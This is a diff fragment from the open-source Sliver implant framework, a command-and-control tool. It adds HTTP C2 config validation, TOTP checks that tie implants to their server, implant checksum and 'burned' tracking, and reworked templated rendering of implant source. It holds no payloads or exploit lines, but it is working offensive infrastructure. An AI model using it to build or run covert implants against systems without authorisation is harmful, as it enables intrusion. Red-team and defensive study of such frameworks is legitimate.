err := checkServerConfig(config.ServerConfig)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return checkImplantConfig(config.ImplantConfig)
|
||||
}
|
||||
|
||||
func coerceFileExt(value string) string {
|
||||
value = fileNameExp.ReplaceAllString(value, "")
|
||||
for strings.HasPrefix(value, ".") {
|
||||
value = strings.TrimPrefix(value, ".")
|
||||
}
|
||||
return value
|
||||
}
|
||||
|
||||
func coerceFiles(values []string, ext string) []string {
|
||||
values = uniqueFileName(values)
|
||||
coerced := []string{}
|
||||
for _, value := range values {
|
||||
if strings.HasSuffix(value, fmt.Sprintf(".%s", ext)) {
|
||||
value = strings.TrimSuffix(value, fmt.Sprintf(".%s", ext))
|
||||
}
|
||||
coerced = append(coerced, value)
|
||||
}
|
||||
return coerced
|
||||
}
|
||||
|
||||
func uniqueFileName(strSlice []string) []string {
|
||||
allKeys := make(map[string]bool)
|
||||
list := []string{}
|
||||
for _, item := range strSlice {
|
||||
item = fileNameExp.ReplaceAllString(item, "")
|
||||
if len(item) < 1 {
|
||||
continue
|
||||
}
|
||||
if _, value := allKeys[item]; !value {
|
||||
allKeys[item] = true
|
||||
list = append(list, item)
|
||||
}
|
||||
}
|
||||
return list
|
||||
}
|
||||
|
||||
func checkServerConfig(config *HTTPC2ServerConfig) error {
|
||||
if len(config.Cookies) < 1 {
|
||||
return ErrMissingCookies
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func checkImplantConfig(config *HTTPC2ImplantConfig) error {
|
||||
|
||||
// MinFiles and MaxFiles
|
||||
if config.MinFiles < 1 {
|
||||
config.MinFiles = 1
|
||||
}
|
||||
if config.MaxFiles < config.MinFiles {
|
||||
config.MaxFiles = config.MinFiles
|
||||
}
|
||||
|
||||
// MinPaths and MaxPaths
|
||||
if config.MinPaths < 0 {
|
||||
config.MinPaths = 0
|
||||
}
|
||||
if config.MaxPaths < config.MinPaths {
|
||||
config.MaxPaths = config.MinPaths
|
||||
}
|
||||
|
||||
// Stager
|
||||
config.StagerFileExt = coerceFileExt(config.StagerFileExt)
|
||||
if config.StagerFileExt == "" {
|
||||
return ErrMissingStagerFileExt
|
||||
}
|
||||
|
||||
// Key Exchange
|
||||
config.KeyExchangeFileExt = coerceFileExt(config.KeyExchangeFileExt)
|
||||
if config.KeyExchangeFileExt == "" {
|
||||
return ErrMissingKeyExchangeFileExt
|
||||
}
|
||||
config.KeyExchangeFiles = coerceFiles(config.KeyExchangeFiles, config.KeyExchangeFileExt)
|
||||
if len(config.KeyExchangeFiles) < 1 {
|
||||
return ErrTooFewKeyExchangeFiles
|
||||
}
|
||||
|
||||
// Poll Settings
|
||||
config.PollFileExt = coerceFileExt(config.PollFileExt)
|
||||
if config.PollFileExt == "" {
|
||||
return ErrMissingPollFileExt
|
||||
}
|
||||
config.PollFiles = coerceFiles(config.PollFiles, config.PollFileExt)
|
||||
if len(config.PollFiles) < 1 {
|
||||
return ErrTooFewPollFiles
|
||||
}
|
||||
|
||||
// Session Settings
|
||||
config.StartSessionFileExt = coerceFileExt(config.StartSessionFileExt)
|
||||
if config.StartSessionFileExt == "" {
|
||||
return ErrMissingStartSessionFileExt
|
||||
}
|
||||
config.SessionFileExt = coerceFileExt(config.SessionFileExt)
|
||||
if config.SessionFileExt == "" {
|
||||
return ErrMissingSessionFileExt
|
||||
}
|
||||
config.SessionFiles = coerceFiles(config.SessionFiles, config.StartSessionFileExt)
|
||||
config.SessionFiles = coerceFiles(config.SessionFiles, config.SessionFileExt)
|
||||
if len(config.SessionFiles) < 1 {
|
||||
return ErrTooFewSessionFiles
|
||||
}
|
||||
|
||||
// Close Settings
|
||||
config.CloseFileExt = coerceFileExt(config.CloseFileExt)
|
||||
if config.CloseFileExt == "" {
|
||||
return ErrMissingCloseFileExt
|
||||
}
|
||||
config.CloseFiles = coerceFiles(config.CloseFiles, config.CloseFileExt)
|
||||
if len(config.CloseFiles) < 1 {
|
||||
return ErrTooFewCloseFiles
|
||||
}
|
||||
|
||||
// Unique file extensions
|
||||
allExtensions := map[string]bool{}
|
||||
extensions := []string{
|
||||
config.StagerFileExt,
|
||||
config.KeyExchangeFileExt,
|
||||
config.PollFileExt,
|
||||
config.StartSessionFileExt,
|
||||
config.SessionFileExt,
|
||||
config.CloseFileExt,
|
||||
}
|
||||
for _, ext := range extensions {
|
||||
if _, ok := allExtensions[ext]; ok {
|
||||
return ErrNonuniqueFileExt
|
||||
}
|
||||
allExtensions[ext] = true
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,92 @@
|
||||
package configs
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"testing"
|
||||
)
|
||||
|
||||
var (
|
||||
fileExtCoercions = map[string]string{
|
||||
"js": "js",
|
||||
".js": "js",
|
||||
"/.js": "js",
|
||||
"/.es6": "es6",
|
||||
".mp4": "mp4",
|
||||
}
|
||||
)
|
||||
|
||||
func TestCoerceFileExt(t *testing.T) {
|
||||
for input, output := range fileExtCoercions {
|
||||
if value := coerceFileExt(input); value != output {
|
||||
t.Fatalf("'%s' was parsed as '%s', expected '%s'", input, value, output)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestDefaultConfig(t *testing.T) {
|
||||
data, err := json.Marshal(defaultHTTPC2Config)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
var config *HTTPC2Config
|
||||
err = json.Unmarshal(data, &config)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
err = CheckHTTPC2Config(config)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestPollConfig(t *testing.T) {
|
||||
|
||||
// Missing PollFileExt
|
||||
config := defaultHTTPC2Config
|
||||
origPollFileExt := config.ImplantConfig.PollFileExt
|
||||
for _, ext := range []string{"", ".", "..."} {
|
||||
config.ImplantConfig.PollFileExt = ext
|
||||
err := CheckHTTPC2Config(&config)
|
||||
if err != ErrMissingPollFileExt {
|
||||
t.Fatalf("Parsed '%s' as not missing (%s)", ext, config.ImplantConfig.PollFileExt)
|
||||
}
|
||||
}
|
||||
config.ImplantConfig.PollFileExt = origPollFileExt
|
||||
|
||||
// Missing PollFiles
|
||||
emptyPollFiles := [][]string{
|
||||
{},
|
||||
{""},
|
||||
{"/"},
|
||||
{"", "", ""},
|
||||
{"/", "/", "/"},
|
||||
}
|
||||
origPollFiles := config.ImplantConfig.PollFiles
|
||||
for _, empty := range emptyPollFiles {
|
||||
config.ImplantConfig.PollFiles = empty
|
||||
err := CheckHTTPC2Config(&config)
|
||||
if err != ErrTooFewPollFiles {
|
||||
t.Fatalf("Expected too few poll files from %v got %v", empty, err)
|
||||
}
|
||||
}
|
||||
config.ImplantConfig.PollFiles = origPollFiles
|
||||
|
||||
}
|
||||
@@ -0,0 +1,46 @@
|
||||
package console
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"encoding/pem"
|
||||
"testing"
|
||||
|
||||
clienttransport "github.com/bishopfox/sliver/client/transport"
|
||||
"github.com/bishopfox/sliver/server/certs"
|
||||
)
|
||||
|
||||
func TestRootOnlyVerifyCertificate(t *testing.T) {
|
||||
certs.SetupCAs()
|
||||
|
||||
data, err := NewPlayerConfig("zerocool", "localhost", uint16(1337))
|
||||
if err != nil {
|
||||
t.Fatalf("failed to generate test player profile %s", err)
|
||||
}
|
||||
config := &ClientConfig{}
|
||||
err = json.Unmarshal(data, config)
|
||||
if err != nil {
|
||||
t.Fatalf("failed to parse client config %s", err)
|
||||
}
|
||||
|
||||
_, _, err = certs.OperatorServerGetCertificate("localhost")
|
||||
if err == certs.ErrCertDoesNotExist {
|
||||
certs.OperatorServerGenerateCertificate("localhost")
|
||||
}
|
||||
|
||||
// Test with a valid certificate
|
||||
certPEM, _, _ := certs.OperatorServerGetCertificate("localhost")
|
||||
block, _ := pem.Decode(certPEM)
|
||||
err = clienttransport.RootOnlyVerifyCertificate(config.CACertificate, [][]byte{block.Bytes})
|
||||
if err != nil {
|
||||
t.Fatalf("root only verify certificate error: %s", err)
|
||||
}
|
||||
|
||||
// Test with wrong CA
|
||||
wrongCert, _ := certs.GenerateECCCertificate(certs.HTTPSCA, "foobar", false, false)
|
||||
block, _ = pem.Decode(wrongCert)
|
||||
err = clienttransport.RootOnlyVerifyCertificate(config.CACertificate, [][]byte{block.Bytes})
|
||||
if err == nil {
|
||||
t.Fatal("root only verify cert verified a certificate with invalid ca!")
|
||||
}
|
||||
|
||||
}
|
||||
@@ -36,7 +36,7 @@ var (
|
||||
sessions: map[uint32]*Session{},
|
||||
mutex: &sync.RWMutex{},
|
||||
}
|
||||
hiveID = uint32(0)
|
||||
rollingSessionID = uint32(0)
|
||||
|
||||
// ErrUnknownMessageType - Returned if the implant did not understand the message for
|
||||
// example when the command is not supported on the platform
|
||||
@@ -212,8 +212,8 @@ func (s *sessions) Remove(sessionID uint32) {
|
||||
|
||||
// NextSessionID - Returns an incremental nonce as an id
|
||||
func NextSessionID() uint32 {
|
||||
newID := hiveID + 1
|
||||
hiveID++
|
||||
newID := rollingSessionID + 1
|
||||
rollingSessionID++
|
||||
return newID
|
||||
}
|
||||
|
||||
|
||||
@@ -30,6 +30,14 @@ import (
|
||||
"crypto/sha256"
|
||||
"errors"
|
||||
"io"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/server/assets"
|
||||
"github.com/pquerna/otp"
|
||||
"github.com/pquerna/otp/totp"
|
||||
)
|
||||
|
||||
const (
|
||||
@@ -38,11 +46,15 @@ const (
|
||||
|
||||
// GCMNonceSize - 96 bit nonces for GCM
|
||||
GCMNonceSize = 12
|
||||
|
||||
// TOTPDigits - Number of digits in the TOTP
|
||||
TOTPDigits = 8
|
||||
TOTPPeriod = uint(30)
|
||||
)
|
||||
|
||||
var (
|
||||
// ErrInvalidKeyLength - Invalid key length
|
||||
ErrInvalidKeyLength = errors.New("Invalid length")
|
||||
ErrInvalidKeyLength = errors.New("invalid length")
|
||||
)
|
||||
|
||||
// AESKey - 256 bit key
|
||||
@@ -136,3 +148,56 @@ func GCMDecrypt(key AESKey, ciphertext []byte) ([]byte, error) {
|
||||
}
|
||||
return plaintext, nil
|
||||
}
|
||||
|
||||
// TOTPOptions - Customized totp validation options
|
||||
func TOTPOptions() totp.ValidateOpts {
|
||||
return totp.ValidateOpts{
|
||||
Digits: TOTPDigits,
|
||||
Algorithm: otp.AlgorithmSHA256,
|
||||
Period: TOTPPeriod,
|
||||
Skew: uint(1),
|
||||
}
|
||||
}
|
||||
|
||||
// TOTPServerSecret - Get the server-wide totp secret value, the goal of the totp
|
||||
// is for the implant to prove it was generated by this server. To that end we simply
|
||||
// use a server-wide secret and ignore issuers/accounts. In order to bypass this check
|
||||
// you'd have to extract the totp secret from a binary generated by the server.
|
||||
func TOTPServerSecret() (string, error) {
|
||||
totpSecretPath := path.Join(assets.GetRootAppDir(), "totp")
|
||||
if _, err := os.Stat(totpSecretPath); os.IsNotExist(err) {
|
||||
return totpGenerateSecret(totpSecretPath)
|
||||
} else {
|
||||
data, err := ioutil.ReadFile(totpSecretPath)
|
||||
return string(data), err
|
||||
}
|
||||
}
|
||||
|
||||
// ValidateTOTP - Validate a TOTP code
|
||||
func ValidateTOTP(code string) (bool, error) {
|
||||
secret, err := TOTPServerSecret()
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
valid, err := totp.ValidateCustom(code, secret, time.Now().UTC(), TOTPOptions())
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
return valid, nil
|
||||
}
|
||||
|
||||
func totpGenerateSecret(saveTo string) (string, error) {
|
||||
otpSecret, err := totp.Generate(totp.GenerateOpts{
|
||||
Issuer: "foo",
|
||||
AccountName: "bar",
|
||||
Digits: TOTPDigits,
|
||||
Algorithm: otp.AlgorithmSHA256,
|
||||
Period: TOTPPeriod,
|
||||
})
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
secret := otpSecret.Secret()
|
||||
err = ioutil.WriteFile(saveTo, []byte(secret), 0600)
|
||||
return secret, err
|
||||
}
|
||||
@@ -34,6 +34,18 @@ var (
|
||||
ErrRecordNotFound = gorm.ErrRecordNotFound
|
||||
)
|
||||
|
||||
// ImplantConfigByID - Fetch implant build by name
|
||||
func ImplantConfigByID(id string) (*models.ImplantConfig, error) {
|
||||
config := models.ImplantConfig{}
|
||||
err := Session().Where(&models.ImplantConfig{
|
||||
ID: uuid.FromStringOrNil(id),
|
||||
}).First(&config).Error
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &config, err
|
||||
}
|
||||
|
||||
// ImplantBuilds - Return all implant builds
|
||||
func ImplantBuilds() ([]*models.ImplantBuild, error) {
|
||||
builds := []*models.ImplantBuild{}
|
||||
|
||||
@@ -1,5 +1,23 @@
|
||||
package models
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"time"
|
||||
|
||||
|
||||
@@ -34,8 +34,12 @@ type ImplantBuild struct {
|
||||
CreatedAt time.Time `gorm:"->;<-:create;"`
|
||||
|
||||
Name string `gorm:"unique;"`
|
||||
// Checksum stores the MD5 sum of an implant binary
|
||||
Checksum string
|
||||
|
||||
// Checksums stores of the implant binary
|
||||
MD5 string
|
||||
SHA1 string
|
||||
SHA256 string
|
||||
|
||||
// Burned indicates whether the implant
|
||||
// has been seen on threat intel platforms
|
||||
Burned bool
|
||||
@@ -68,7 +72,6 @@ type ImplantConfig struct {
|
||||
GOARCH string
|
||||
|
||||
// Standard
|
||||
// Name string
|
||||
CACert string
|
||||
Cert string
|
||||
Key string
|
||||
@@ -78,6 +81,7 @@ type ImplantConfig struct {
|
||||
ReconnectInterval uint32
|
||||
PollInterval uint32
|
||||
MaxConnectionErrors uint32
|
||||
ConnectionStrategy string
|
||||
|
||||
WGImplantPrivKey string
|
||||
WGServerPubKey string
|
||||
@@ -127,6 +131,8 @@ func (ic *ImplantConfig) BeforeCreate(tx *gorm.DB) (err error) {
|
||||
// ToProtobuf - Convert ImplantConfig to protobuf equiv
|
||||
func (ic *ImplantConfig) ToProtobuf() *clientpb.ImplantConfig {
|
||||
config := &clientpb.ImplantConfig{
|
||||
ID: ic.ID.String(),
|
||||
|
||||
GOOS: ic.GOOS,
|
||||
GOARCH: ic.GOARCH,
|
||||
|
||||
@@ -140,6 +146,7 @@ func (ic *ImplantConfig) ToProtobuf() *clientpb.ImplantConfig {
|
||||
ReconnectInterval: ic.ReconnectInterval,
|
||||
PollInterval: ic.PollInterval,
|
||||
MaxConnectionErrors: ic.MaxConnectionErrors,
|
||||
ConnectionStrategy: ic.ConnectionStrategy,
|
||||
|
||||
LimitDatetime: ic.LimitDatetime,
|
||||
LimitDomainJoined: ic.LimitDomainJoined,
|
||||
|
||||
+65
-81
@@ -21,11 +21,11 @@ package generate
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"io/fs"
|
||||
"io/ioutil"
|
||||
"net/url"
|
||||
"os"
|
||||
"path"
|
||||
"path/filepath"
|
||||
"regexp"
|
||||
"runtime"
|
||||
"strings"
|
||||
@@ -35,6 +35,8 @@ import (
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/server/assets"
|
||||
"github.com/bishopfox/sliver/server/certs"
|
||||
"github.com/bishopfox/sliver/server/configs"
|
||||
"github.com/bishopfox/sliver/server/cryptography"
|
||||
"github.com/bishopfox/sliver/server/db/models"
|
||||
"github.com/bishopfox/sliver/server/gogo"
|
||||
"github.com/bishopfox/sliver/server/log"
|
||||
@@ -480,6 +482,11 @@ func renderSliverGoCode(name string, config *models.ImplantConfig, goConfig *gog
|
||||
config.Cert = string(sliverCert)
|
||||
config.Key = string(sliverKey)
|
||||
|
||||
otpSecret, err := cryptography.TOTPServerSecret()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
// Generate wg Keys as needed
|
||||
if config.WGc2Enabled {
|
||||
implantPrivKey, _, err := certs.ImplantGenerateWGKeys(config.WGPeerTunIP)
|
||||
@@ -492,6 +499,11 @@ func renderSliverGoCode(name string, config *models.ImplantConfig, goConfig *gog
|
||||
config.WGServerPubKey = serverPubKey
|
||||
}
|
||||
|
||||
err = ImplantConfigSave(config)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
// binDir - ~/.sliver/slivers/<os>/<arch>/<name>/bin
|
||||
binDir := path.Join(projectGoPathDir, "bin")
|
||||
os.MkdirAll(binDir, 0700)
|
||||
@@ -511,106 +523,74 @@ func renderSliverGoCode(name string, config *models.ImplantConfig, goConfig *gog
|
||||
return "", nil
|
||||
}
|
||||
|
||||
// Load code template
|
||||
renderFiles := srcFiles
|
||||
_, isSupportedTarget := SupportedCompilerTargets[fmt.Sprintf("%s/%s", config.GOOS, config.GOARCH)]
|
||||
if !isSupportedTarget {
|
||||
buildLog.Warnf("Unsupported compiler target, using generic src files ...")
|
||||
renderFiles = genericSrcFiles
|
||||
}
|
||||
for index, boxName := range renderFiles {
|
||||
|
||||
// Gobfuscate doesn't handle all the platform specific code
|
||||
// well and the renamer can get confused when symbols for a
|
||||
// different OS don't show up. So we just filter out anything
|
||||
// we're not actually going to compile into the final binary
|
||||
suffix := ".go"
|
||||
if strings.Contains(boxName, "_") {
|
||||
fileNameParts := strings.Split(boxName, "_")
|
||||
suffix = "_" + fileNameParts[len(fileNameParts)-1]
|
||||
|
||||
// Test files get skipped
|
||||
if strings.HasSuffix(boxName, "_test.go") {
|
||||
buildLog.Infof("Skipping (test): %s", boxName)
|
||||
continue
|
||||
}
|
||||
|
||||
// We only include "_default.go" files for "unsupported" platforms i.e., not windows/darwin/linux
|
||||
if suffix == DefaultSuffix && isSupportedTarget {
|
||||
buildLog.Infof("Skipping default file (target is supported): %s", boxName)
|
||||
continue
|
||||
}
|
||||
|
||||
// Only include code for our target goos/goarch
|
||||
if isSupportedTarget {
|
||||
osSuffix := fmt.Sprintf("_%s.go", strings.ToLower(config.GOOS))
|
||||
archSuffix := fmt.Sprintf("_%s.go", strings.ToLower(config.GOARCH))
|
||||
if !strings.HasSuffix(boxName, osSuffix) && !strings.HasSuffix(boxName, archSuffix) {
|
||||
buildLog.Infof("Skipping file wrong os/arch: %s", boxName)
|
||||
continue
|
||||
}
|
||||
}
|
||||
err = fs.WalkDir(implant.FS, ".", func(fsPath string, f fs.DirEntry, err error) error {
|
||||
if f.IsDir() {
|
||||
return nil
|
||||
}
|
||||
buildLog.Debugf("Walking: %s %s %v", fsPath, f.Name(), err)
|
||||
|
||||
sliverGoCodeRaw, err := implant.FS.ReadFile(path.Join("sliver", boxName))
|
||||
sliverGoCodeRaw, err := implant.FS.ReadFile(fsPath)
|
||||
if err != nil {
|
||||
buildLog.Warnf("Failed to read %s: %s", boxName, err)
|
||||
continue
|
||||
buildLog.Errorf("Failed to read %s: %s", fsPath, err)
|
||||
return nil
|
||||
}
|
||||
sliverGoCode := string(sliverGoCodeRaw)
|
||||
|
||||
// We need to correct for the "github.com/bishopfox/sliver/implant/sliver/foo" imports,
|
||||
// since Go doesn't allow relative imports and "sliver" is a subdirectory of
|
||||
// the main "sliver" repo we need to fake this when copying the code
|
||||
// to our per-compile "GOPATH"
|
||||
var sliverCodePath string
|
||||
dirName := filepath.Dir(boxName)
|
||||
var fileName string
|
||||
// Skip dllmain files for anything non windows
|
||||
if boxName == "sliver.h" || boxName == "sliver.c" {
|
||||
if f.Name() == "sliver.c" || f.Name() == "sliver.h" {
|
||||
if !config.IsSharedLib && !config.IsShellcode {
|
||||
continue
|
||||
return nil
|
||||
}
|
||||
}
|
||||
if config.Debug || strings.HasSuffix(boxName, ".c") || strings.HasSuffix(boxName, ".h") {
|
||||
fileName = filepath.Base(boxName)
|
||||
} else {
|
||||
fileName = fmt.Sprintf("s%d%s", index, suffix)
|
||||
}
|
||||
if dirName != "." {
|
||||
// Add an extra "sliver" dir
|
||||
dirPath := path.Join(sliverPkgDir, "implant", "sliver", dirName)
|
||||
if _, err := os.Stat(dirPath); os.IsNotExist(err) {
|
||||
buildLog.Infof("[mkdir] %#v", dirPath)
|
||||
err = os.MkdirAll(dirPath, 0700)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
}
|
||||
sliverCodePath = path.Join(dirPath, fileName)
|
||||
} else {
|
||||
sliverCodePath = path.Join(sliverPkgDir, fileName)
|
||||
}
|
||||
|
||||
var sliverCodePath string
|
||||
if f.Name() == "sliver.go" || f.Name() == "sliver.c" || f.Name() == "sliver.h" {
|
||||
sliverCodePath = path.Join(sliverPkgDir, f.Name())
|
||||
} else {
|
||||
sliverCodePath = path.Join(sliverPkgDir, "implant", fsPath)
|
||||
}
|
||||
dirPath := path.Dir(sliverCodePath)
|
||||
if _, err := os.Stat(dirPath); os.IsNotExist(err) {
|
||||
buildLog.Infof("[mkdir] %#v", dirPath)
|
||||
err = os.MkdirAll(dirPath, 0700)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
fSliver, err := os.Create(sliverCodePath)
|
||||
if err != nil {
|
||||
return "", err
|
||||
return err
|
||||
}
|
||||
buf := bytes.NewBuffer([]byte{})
|
||||
buildLog.Infof("[render] %s -> %s", boxName, sliverCodePath)
|
||||
buildLog.Infof("[render] %s -> %s", f.Name(), sliverCodePath)
|
||||
|
||||
// Render code
|
||||
sliverCodeTmpl := template.Must(template.New("sliver").Parse(sliverGoCode))
|
||||
// --------------
|
||||
// Render Code
|
||||
// --------------
|
||||
sliverCodeTmpl := template.New("sliver")
|
||||
sliverCodeTmpl, err = sliverCodeTmpl.Funcs(template.FuncMap{
|
||||
"GenerateUserAgent": func() string {
|
||||
return configs.GetHTTPC2Config().GenerateUserAgent(config.GOOS, config.GOARCH)
|
||||
},
|
||||
}).Parse(sliverGoCode)
|
||||
if err != nil {
|
||||
buildLog.Errorf("Template parsing error %s", err)
|
||||
return err
|
||||
}
|
||||
err = sliverCodeTmpl.Execute(buf, struct {
|
||||
Name string
|
||||
Config *models.ImplantConfig
|
||||
Name string
|
||||
Config *models.ImplantConfig
|
||||
OTPSecret string
|
||||
HTTPC2ImplantConfig *configs.HTTPC2ImplantConfig
|
||||
}{
|
||||
name,
|
||||
config,
|
||||
otpSecret,
|
||||
configs.GetHTTPC2Config().RandomImplantConfig(),
|
||||
})
|
||||
if err != nil {
|
||||
buildLog.Error(err)
|
||||
return "", err
|
||||
buildLog.Errorf("Template execution error %s", err)
|
||||
return err
|
||||
}
|
||||
|
||||
// Render canaries
|
||||
@@ -624,14 +604,18 @@ func renderSliverGoCode(name string, config *models.ImplantConfig, goConfig *gog
|
||||
"GenerateCanary": canaryGenerator.GenerateCanary,
|
||||
}).Parse(buf.String())
|
||||
if err != nil {
|
||||
return "", err
|
||||
return err
|
||||
}
|
||||
err = canaryTmpl.Execute(fSliver, canaryGenerator)
|
||||
|
||||
if err != nil {
|
||||
buildLog.Infof("Failed to render go code: %s", err)
|
||||
return "", err
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
})
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
// Render GoMod
|
||||
|
||||
@@ -140,7 +140,7 @@ func mtlsExe(t *testing.T, goos string, goarch string, debug bool) {
|
||||
nonce++
|
||||
_, err := SliverExecutable(fmt.Sprintf("mtls_test%d", nonce), config)
|
||||
if err != nil {
|
||||
t.Errorf(fmt.Sprintf("%v", err))
|
||||
t.Fatalf(fmt.Sprintf("%v", err))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -159,7 +159,7 @@ func dnsExe(t *testing.T, goos string, goarch string, debug bool) {
|
||||
nonce++
|
||||
_, err := SliverExecutable(fmt.Sprintf("dns_test%d", nonce), config)
|
||||
if err != nil {
|
||||
t.Errorf(fmt.Sprintf("%v", err))
|
||||
t.Fatalf(fmt.Sprintf("%v", err))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -182,7 +182,7 @@ func httpExe(t *testing.T, goos string, goarch string, debug bool) {
|
||||
nonce++
|
||||
_, err := SliverExecutable(fmt.Sprintf("http_test%d", nonce), config)
|
||||
if err != nil {
|
||||
t.Errorf(fmt.Sprintf("%v", err))
|
||||
t.Fatalf(fmt.Sprintf("%v", err))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -209,7 +209,7 @@ func multiExe(t *testing.T, goos string, goarch string, debug bool) {
|
||||
nonce++
|
||||
_, err := SliverExecutable(fmt.Sprintf("multi_test%d", nonce), config)
|
||||
if err != nil {
|
||||
t.Errorf(fmt.Sprintf("%v", err))
|
||||
t.Fatalf(fmt.Sprintf("%v", err))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -235,7 +235,7 @@ func multiWindowsService(t *testing.T, goos string, goarch string, debug bool) {
|
||||
nonce++
|
||||
_, err := SliverExecutable(fmt.Sprintf("service_test%d", nonce), config)
|
||||
if err != nil {
|
||||
t.Errorf(fmt.Sprintf("%v", err))
|
||||
t.Fatalf(fmt.Sprintf("%v", err))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -258,7 +258,7 @@ func tcpPivotExe(t *testing.T, goos string, goarch string, debug bool) {
|
||||
nonce++
|
||||
_, err := SliverExecutable(fmt.Sprintf("tcpPivot_test%d", nonce), config)
|
||||
if err != nil {
|
||||
t.Errorf(fmt.Sprintf("%v", err))
|
||||
t.Fatalf(fmt.Sprintf("%v", err))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -281,7 +281,7 @@ func namedPipeExe(t *testing.T, goos string, goarch string, debug bool) {
|
||||
nonce++
|
||||
_, err := SliverExecutable(fmt.Sprintf("namedpipe_test%d", nonce), config)
|
||||
if err != nil {
|
||||
t.Errorf(fmt.Sprintf("%v", err))
|
||||
t.Fatalf(fmt.Sprintf("%v", err))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -310,7 +310,7 @@ func wireguardExe(t *testing.T, goos string, goarch string, debug bool) {
|
||||
certs.SetupWGKeys()
|
||||
_, err := SliverExecutable(fmt.Sprintf("wireguard_test%d", nonce), config)
|
||||
if err != nil {
|
||||
t.Errorf(fmt.Sprintf("%v", err))
|
||||
t.Fatalf(fmt.Sprintf("%v", err))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -342,7 +342,7 @@ func multiLibrary(t *testing.T, goos string, goarch string, debug bool) {
|
||||
nonce++
|
||||
_, err := SliverSharedLibrary(fmt.Sprintf("multilibrary_test%d", nonce), config)
|
||||
if err != nil {
|
||||
t.Errorf(fmt.Sprintf("%v", err))
|
||||
t.Fatalf(fmt.Sprintf("%v", err))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -365,6 +365,6 @@ func symbolObfuscation(t *testing.T, goos string, goarch string) {
|
||||
nonce++
|
||||
_, err := SliverExecutable(fmt.Sprintf("symbol_test%d", nonce), config)
|
||||
if err != nil {
|
||||
t.Errorf(fmt.Sprintf("%v", err))
|
||||
t.Fatalf(fmt.Sprintf("%v", err))
|
||||
}
|
||||
}
|
||||
@@ -20,6 +20,8 @@ package generate
|
||||
|
||||
import (
|
||||
"crypto/md5"
|
||||
"crypto/sha1"
|
||||
"crypto/sha256"
|
||||
"encoding/hex"
|
||||
"errors"
|
||||
"fmt"
|
||||
@@ -34,6 +36,7 @@ import (
|
||||
"github.com/bishopfox/sliver/server/db/models"
|
||||
"github.com/bishopfox/sliver/server/log"
|
||||
"github.com/bishopfox/sliver/server/watchtower"
|
||||
"gorm.io/gorm/clause"
|
||||
)
|
||||
|
||||
var (
|
||||
@@ -55,6 +58,18 @@ func getBuildsDir() (string, error) {
|
||||
return buildsDir, nil
|
||||
}
|
||||
|
||||
// ImplantConfigSave - Save only the config to the database
|
||||
func ImplantConfigSave(config *models.ImplantConfig) error {
|
||||
dbSession := db.Session()
|
||||
result := dbSession.Clauses(clause.OnConflict{
|
||||
UpdateAll: true,
|
||||
}).Create(&config)
|
||||
if result.Error != nil {
|
||||
return result.Error
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// ImplantBuildSave - Saves a binary file into the database
|
||||
func ImplantBuildSave(name string, config *models.ImplantConfig, fPath string) error {
|
||||
rootAppDir, _ := filepath.Abs(assets.GetRootAppDir())
|
||||
@@ -67,8 +82,7 @@ func ImplantBuildSave(name string, config *models.ImplantConfig, fPath string) e
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
sum := md5.Sum(data)
|
||||
